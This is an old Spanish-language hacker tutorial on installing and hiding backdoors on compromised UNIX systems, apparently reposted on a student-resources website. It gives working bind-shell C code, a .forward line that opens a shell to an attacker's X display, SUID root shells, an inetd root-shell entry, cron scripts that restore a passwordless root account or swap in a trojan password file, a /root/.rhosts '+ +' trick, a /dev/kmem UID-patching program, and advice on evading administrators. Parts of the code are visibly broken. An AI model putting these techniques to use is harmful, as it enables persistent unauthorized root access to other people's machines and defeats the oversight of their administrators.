|
BackDoors por Fuego Fatuo (La KaTeDral)
Este texto es una adaptacion/traduccion del articulo 'BackDoors Revised'
publicado en la Confidence Remains High n:3 escrito por Blk-Majik (Menuo nick
XDDDD ). He aqadido algunas backdoors, he modificao otras y he kitao otras.
Osea, ke este texto tambien tiene algo mio.
Utiliza este texto de manera responsable: Osea, ke te sirva pa asegurar algun
hack :)
Introducion:
?COMO? , si esperas ke me enrolle a escribir, la llevas clara .... No me
gusta escribir, asiske ...., si tienes 'alguna' duda me escribes, si no
entiendes casi na, olvidalo tio....
(Ke RADIKAL XDDDD)
?Ke es una backdoor?
Puessss,....., es una 'Puerta trasera' ke sirve pa volver a entrar a una
makina hackeada en caso de ke te kiten el acceso normal, tb se le llama asi a
lo ke dejas en una makina para asegurarte el root.
Una cosa debe estar clara, aqadir un usuario con :0:0: es de lamers, ya ke
se detecta como na!, y no solo por el root, tb por otro hacker (yo he
encontrao :0:0: SIN PASSWORD!!! Algun lamer .. ).
He de reconocer ke yo tengo una cta asi (pero kon pass), pero porke nadie
aparece por esa makina desde hace aqos, osea ke no me preocupa.
?Ke necesito pa poner una backdoor?
Una makina donde ponerla (osea login y pass), de momento, con esto solo te
basta pa poner alguna backdoor, tb es verdad ke kon eso ... poco mas ke
komerte los mocos. Nene!!, trabaja un poco y conviertete en root.
*Por cierto, por si no te habias dao cuenta, me refiero a backdoors para
sistemas basados en UNIX.
Bien, veamos esas backdoors:
1- Pa poner esta backdoor, con solo ser un simple usuario basta, consiste en
un simple programita en C, ke al ejecutarlo se keda ejecutando en segundo
plano residente, este programita es un servidor, e.d. atiende un puerto,
cuando alguien se conesta a ese puerto,el servidor atiende a ese 'alguien',
ejecuta una shell y deja ke ese alguien interactue (los gurus de linux me
mataran al ver komo explico esto) con esa shell, osea, komo si estuviera
dentro, eso si, sin dejar logs (esto es bueno),una cosa ke no debeis olvidar,
es poner al final de cada linea un ';' (no voy a explicar porque).
Pa ke lo entiendas: cat /etc/passwd -pasa a ser- cat /etc/passd;
Se ejecuta el comando y depues dara un eror, pasa de el, komo yo paso de
vosotros .....
Evidentemente, esta backdoor no es muy recomendable ya ke se ve con un
simple 'ps', ademas, cuando el servidor ejecuta la shell lo hace como akel ke
ha ejecutao el programa, osea ke si pones esta backdoor sin ser root, solo te
aseguras el acceso como usuario, bueno ... algo es algo.
El programa en cuestion:
/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main ()
{
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1) exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0) exit(-1);
if (fork() != 0) exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0) exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0) exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
if (soc_cli < 0) exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
*NOTA: Pa los pocos espabilados: Para ke no te vean el programa al primer
ps ke haga alguien ponle un nombre que no resalte musso, como 'bash','chfn' o
algo asi ..., vamos, no le pongas 'mi_backdoor'.
Mejoras: lo malo de esta backdoor es ke kualkiera ke haga telnet ha ese
puerto entrara, la mejora puede ser ke pida un password exclusivo (osea ke
no este en el /etc/passwd) y asi solo tu podras entrar por ese puerto. Si
alguien tiene la ocurrencia de hacerlo, por favor, ke me lo mande.
2- .forward, Esta backdoor es mu chuli, con esta te aseguras el acceso,
consiste en modificar el .forward de un usuario (si es el root cojonudo ya ke
entrarias como root), el .foward es un fichero ke usa el mail, cuando ese
usuario reciba algun mail hara lo ke el .forward ponga ke tiene ke hacer,
responder , ejecutar comandos, etc .... }:)
Osea, cuando este en una makina pon:
echo \username >> ~/.forward
echo |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" >>~/.forward
Esto te abrira una ventana de X-windows (recuerda poner antes 'xhost +victima.com'). Por
supuesto debes de estar en X-windows (por si acaso ...).
Ten en cuenta, de ke si mandas correo asi:
mail tontodelculo@victima.gov
Tardara un tiempo en llegar, por lo tanto tardara un tiempo en ejecutarse lo
ke pongas en el .forward, para solventar este problema, haz:
telnet victima.gov 25
HELO kojones.net
MAIL FROM: tutankamon
RCPT TO: username
DATA
Hola ......
Soy Edu, Feliz Navidad!!!!
.
QUIT
Y ya esta ... asi le llegara el mail casi instantaneamente.
La verdad es ke hay mejores opciones, ya ke esto lo ejecutaria cada vez ke
ese usuario recibiera mail, bueno, tu eres el encargado de aprovechar esta
backdoor. Tambien recuerda en borrar el mail kuando entres o simplemente no
mandarle un mail sospechoso para ke no sospeche.
Otra cosa ...... si no tienes IP fija lo anterior de la xterm no te servira
ye ke cada vez tendras una IP distinta.
A partir de ahora,para poner las siguientes backdoors, debes de ser root, :(
, asiske ya sabeis...
3- Un sushi, esto es una backdoor para mantener el root, pero para conseguirlo
una vez dentro, osea, es copiar una shell (por ejemplo /bin/sh) con un nombre
ke no llame la atencion y como root ponerle los permisos 4755, es decir, ke
cualkiera pueda ejecutar esa shell con los permisos del root osea:
#cp /bin/sh /bin/fwalld
#chmod 4755 /bin/fwalld
Si como un usuario normal ejecutas /bin/fwalld .. :) . Lo malo del sushi es
ke si otro lo encuentra y lo ejecuta tambien se hace root, esto se puede
mejorar poniendo un sushi seguro, esto es, un programa ke te pide password
antes de ejecutar el shell. Aki muestro uno ke he hecho yo, pero, lo pongo
solo pa ke veas como es no para ke lo copies,lo subas y ya tienes backdoor,
porque para eso te subes otras backdoors mejores ke hay (rootkits por ejemplo)
, pongo el programa para ke lo veas (si lo kieres usar usalo, a mi me da
igual) y aprendas ha hacer uno (se hace en 3min.) para ponertelo, osea, si no
tienes tiempo para ponerte a instalar un rootkit vas con el 'vi' mismo
escribes el programa lo compilas (recuerda: chmod 4511 <programa>) y lo dejas
alli para cuando tengas tiempo de instalar el rootkit u otra backdoor mejor.
Es importante ke sepas programar en C en este mundillo, asiske si no sabes,
deja de poner backdoors y estudia.
El codigo fuente:
*
*
*
*
Compila el programa, dale permisos 4711 y ya esta, no hace falta ke copies la
shell. Por supuesto el programa se puede mejorar de mil maneras, si te
molestas en hacerlo, por favor, mandame una copia.
4- Inetd. Esta es una de las mas usadas (SI NO LA KE MAS....).
Un POCO de explicacion previa.
El inetd es un 'programilla' ke escucha los puertos de una makina, entonses,
cuando alguien conesta a un puerto determinao, el inetd ejecuta el demonio
asociao a ese puerto. Bien lo primero: abre un puerto, pa esto esta el
fichero /etc/services.
ok, en el /etc/services vas a ver algo asi:
tcpmux 1/tcp #TCP Port Service Multiplexer
tcpmux 1/udp #TCP Port Service Multiplexer
compressnet 2/tcp #Management Utility
compressnet 2/udp #Management Utility
compressnet 3/tcp #Compression Process
compressnet 3/udp #Compression Process
?Ke cojones es esto?
ftp 21/tcp #File Transfer [Control]
[1] [2]/[3] #[ 4 ]
1: Nombre del servicio
2: Puerto ke usa el sistema pa ese servicio
3: El protocolo, puede ser tcp o udp, nosotros pondremos el tcp
4: Descripcion de lo ke hase ese servicio
Bien, eso kiere decir ke esta abierto el puerto 21, y le ha dao el nombre de
ftp. Pos nosotros aqadiremos otra linea mas o menos del mismo estilo, pa
abrir el puerto, el numero/nombre del servicio no debe llamar la atencion,
fijate, ke el numero/nombre del puerto no este ya en uso.
Un puerto ke por ejemplo no se suele usar es el 26, bien pongamos algo asi:
fwalld 26/tcp #Firewall daemon
Ahora, tenemos ke konfigurar el inetd pa ke ejecute una shell cuando alguien
se coneste a ese puerto. Esto se hace en el fichero /etc/inetd.conf , antes
de na, hechemosle un vistazo:
Veras algo asi:
ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
telnet stream tcp nowait root /usr/libexec/tcpd telnetd
shell stream tcp nowait root /usr/libexec/tcpd rshd
login stream tcp nowait root /usr/libexec/tcpd rlogind -a
exec stream tcp nowait root /usr/libexec/tcpd rexecd
?Que significa esto?
ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
[1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ]
1: Nombre del servicio en el /etc/services.
2: Tipo de conexion ke utiliza el servicio
3: Protocolo. Siempre es TCP o UDP
4: Cuanto tiempo se tiene ke retrasar la conexion.
5: Usuario kon el ke se ejecuta el demonio (se usa para los permisos uid/gid etc ...)
6: Ke programa va a mantener la conexion
7: Comando o demonio
Ok, osea que, segun la linea anterior, Cuando alguien haga un telnet al
puerto 21 de esta makina, va a tener una conexion stream/tcp y no va a
esperar nada. Ademas, el usuario, como root, va a ejecutar sobre /usr/libexec/tcpd
el comando ftpd (demonio de FTP en este caso)
Ya ke sabemos lo ke significa esto, instalemos lo ke nnos falta de nuestra
backdoor, haber .... keremos ke kuando konectemos al puerto 26 se ejecute un
shell, osea /bin/sh ?no?, vale, estamos deacuerdo, ademas, no keremos ke
espere nada, osea, ke nos deje entrar nada mas conectar, por supuesto, la
shell la tiene ke ejecutar como root si no, pierde casi toda la gracia, lo
ultimo es ver el tipo de conexion, pues es stream/tcp, si eres un poco
'curiosillo' (Cosa muy importante en esta 'profesion' :) te preguntaras ?por
que?, pos no te lo voy a decir (porque no lo se), pero bueno ... tu hazme
caso y ya esta, si alguien me kiere escribir para explicarmelo, se lo
agradeceria mucho. Bueno, dejemosnos de rollo, la linea es:
fwalld stream/tcp nowait root /bin/sh sh -i
Esta linea la meteis por enmedio del /etc/inetd.conf y no canta musso. Ahora
reseteais el inetd pa ke koja los 'educativos' cambios. :) . Esto lo haceis
asi:
#killall -HUP inetd
Haz ps y asegurate ke se ha reiniciado, ya ke lo ke haces es matar el inetd
(nadie se podra conectar) y despues volverlo a ejecutar. Pos ya ta!!! Ya ta
instalada.
Ahora probad la backdoor accediendo como usuario normal:
$telnet localhost 26
#
Recordad ke los comandos los teneis ke meter komo en la 1* backdoor osea con
';' al final de cada comando.
Mejoras para esta backdoor:
Lo malo de esta backdoor, es ke kualkier otro puede hacer telnet a ese
puerto y entrar como root, ya ke no existe password, bueno ...., puedes poner
que se ejecute, en vez de una shell, un demonio creado por ti y ke pida
password (el kual solo lo sabras tu). Otra posibilidad es ke, en vez de
ejecutar /bin/sh, pongas un sushi como el del aparatado anterior y entonces,
no resaltara tanto ya ke no pondra el /bin/sh, (Mi 'sushi seguro' no funciona
en este caso), la verdad es ke tampoco hace falta ke sea un sushi, kon ke
solo copies el shell basta, no hace falta ke le des permisos especiales. La
linea kedaria asi:
fwalld stream/tcp nowait root /bin/fwalld fwalld
Ya resalta menos.
Si alguien realiza un demonio ke pida un password exclusivo (sin ke este en
el /etc/passwd y sin modificar el login) antes de ejecutar una shell ke me lo
mande.
5 - CRONos I, el root del tiempo XDDDDD
Los troyanos del cron son buenos para mantener el acceso como root en un
sistema si el administrador legal (o otro 'no legal' :) nos kita el acceso.
el Cron es un demonio 'temporal', osea, se encarga de hacer ke el sistema
ejecute la orden ke tu kieras kuando kieras :). Escribe crontab en el shell,
entonces te mostrara como introducir, ejecutar y kitar crons. El fichero de
configuracion es /var/spool/cron/crontabs/root (no en todos los sistemas
esta ahi, pero bueno... molestate en buscarlo).
Asi es como es el fichero de configuracion:
0 0 * * 1 /usr/bin/updatedb
[1] [2] [3] [4] [5] [ 6 ]
1: minuto, 0-59
2: hora, 0-23
3: dia del mes, 1-31
4: mes del aqo, 1-12
5: dia de la semana, 0-6
6: comando a ejecutar
Este cron se ejecutara todos los lunes a las 00:00. Para modificar el Cron
para ke haga algo 'educativo' solo tienes ke aqadir una linea en el fichero
/var/spool/crontab/root.
Por ejemplo, si, para simplificar tus accesos metes un usuario de UID 0 en el
/etc/passwd, puedes meter un cron ke compruebe si el administrador (el legal
o no) ha kitado ese usuario ke usabas.
Por ejemplo, lo programas para ke se ejecute todos los sabados a las 00:00
(asi puedes acceder a ese sistema durante el fin de semana).Esto se hace
aqadiendo al /var/spool/crontab/root la linea:
0 0 * * 5 /usr/bin/revive.sh
Copia este programa en el directorio /usr/bin (o donde kieras), recuerda en
cambiarle el nombre para ke no kante mucho:
revive.sh
---------
#!/bin/sh
#Is YourUser still on the system? Let's make sure he is.
#daemon9@netcom.com
set evilflag = (`grep YourUser /etc/passwd`)
if($#evilflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string option
echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
*** NOTE : MODIFY "YOURUSER" !!
Este programa chekea si esta nuestro usuario en el fichero de password, si no
esta, lo vuelve a meter sin password. Por favor, no seas tan lamer de dejarlo
sin password, ke he visto a mas de uno asi.
Otra posibilidad es ke ponga un sushi cada cierto tiempo:
dead.sh
-------
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.yourlittleshell # Don't name it that...
chmod 4755 /tmp/.yourlittleshell
Mejoras: Usa tu imaginacion, hay MILLONES de posibilidades, te muestro ahora
otro CRON cojonudo, pero el Cron, no tiene limites :).
6- CRONos II.
Este Cron, para mi, es uno de los mejores, lo ke hace es, kopiar el fichero
de password y despues poner como fichero de password otro personal durante un
corto espacio de tiempo (1 minuto por ejemplo), asi, solo tu podras entrar a
la hora ke lo pongas, las 4:30 de la madrugada es buena hora (ATENCION!!! ten
en cuenta ke me refiero 4:30 hora de donde este la makina, ke lo mas posible
es ke si estas hackeando fuera de Espaqa ,cosa ke deberias hacer, la hora no
sea la misma, enterate de la diferencia horaria, con el comando time ves la
hora de alli). Bueno aki pongo el cron:
29 4 * * * /bin/usr/.hiden
Crea un fichero de password personal /var/spool/mail llamado .sneaky (o como
sea)
Pon en este porgrama en /bin/usr (o donde kieras :)
.hidden
-------
#!/bin/sh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
7- Sendmail
Edita el fichero /etc/aliases aqade esta linea:
decode: |/usr/bin/uudecode
asegurate de ocultarla bien en el fichero. El fichero uudecode es un script :).
Aki tienes el script:
uudecode.sh
-----------
#!/bin/sh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Ok, Manda mail a decode, en el subjet metes la version uuencodeada del .rhosts.
echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com
Puedes aqadir cualkier programa de los listados de antes (los diferentes
CRONs) para ke sean ejecutados por el alias. Se imaginativo.
*NOTA: Esta backdoor a mi no me funciona en mi linux. No la he probado en
ningun otro sitio.
Yo la pongo por si acaso......
8- Esta es experimental, al parecer en algunos sistemas (sobre todo linux)
cuando alguien tiene un uid/gid erroneo en el /etc/passwd, el login le pone
uid/gid 0, osea root.
Ejemplo:
rmartin:x:x50:50:R. Martin:/home/rmatin:/bin/bash
9- /dev/kmem. Te imaginas poder acceder a memoria para cambiar tu UID?? , por
bien sencillo ke es..., lo unico ke tienes ke hacer es, como root, dejar
/dev/kmem para ke se pueda leer y escribir siendo kien kiera ke seas, (aparte
de cambiar el UID eso sirve para muuuuuuuchas mas cosas). Bien el resto lo
hace este programa:
/* If /kmem is is readable and writable, this program will change the user's UID and GID to 0.
*/
/* This code originally appeared in "UNIX security:
A practical tutorial" with some modifications by daemon9@netcom.com */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include
#include
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
Mejoras: Para ke la no cante musso esto, es mejor dejar un SUID script ke
lo ke haga sea dejar /dev/kmem con permisos 666 durante un corto espacio de
tiempo en el cual, ejecutas el programa, claro esta ke el SUID script casi,
casi canta mas ke dejar /dev/kmem escribible y leible todo el tiempo, tu
decides, el script seria:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
Recuarda darle los permisos 4711.
10- Escapes de shell, bueno, esta otra backdoor a pesar de lo ke parece,
funciona de puta madre y nadie se da cuenta de ella, a no ser ke sea un
hacker de los buenos ke se lo kurra cuando kiere hacerse root, sirve, para
mentener el root (no el acceso), consiste en poner SUID a programas con
escape a shell, como por ejemplo el 'Mail', asi podras ejecutar el programa y
salir a shell y saldras como root, por supuesto, culakiera puede hacerse root
asi, pero nadie se molesta en comprobar si es root cada vez ke lee un mail.
Osea:
#chmod 4755 /bin/Mail
.....
.....
you have new mail.
Bla,bla,bla
Bla,bla,bla
&!/bin/sh
#whoami
root
11-Otras: Hay por ahi muuuuuchos troyanos de programas como su,login
(recordad set 11),passwd, chfn, chsh, etc .... los cuales son tambien
backdoors, de hecho son las mejores, pero a mi me dan muchos quebraderos de
kabeza (no compilan, no encuentras para ese sistema operativo, ....), las
backdoors ke he puesto, funcionan en todos los UNIX, o al menos en casi todos
, si en alguno no funciona, seguro ke solo le tienes ke hacer una pekeqa
variacion a la backdoor pa ke funsione.
Manteniendo la backdoor :
El mejor consejo ... Oculta tus rastros, si un admin no se da cuenta de ke ha
sido hackeado, no buscara backdoor alguna, aparte debes de esconder bien las
backdoors. Ten en cuenta una cosa, si el admin descubre ke ha sido hackeado y
es un poco listo, lo mas seguro es ke encuentre tus backdoors (por checksums,
fechas, programas SUID...) asieske, lo primero es poner la backdoor y lo
segundo ocultar tu rastro.
Fuego Fatuo (La KaTeDral).
Para cualkier consulta, mandarme algun programa o sugerencia: fatuo@usa.net
Para insultos, protestas o amenazas de muerte: root@cpd.um.es
Aún no hay comentarios para este recurso.
Monografias, Exámenes, Universidades, Terciarios, Carreras, Cursos, Donde Estudiar, Que Estudiar y más: Desde 1999 brindamos a los estudiantes y docentes un lugar para publicar contenido educativo y nutrirse del conocimiento.
Contacto »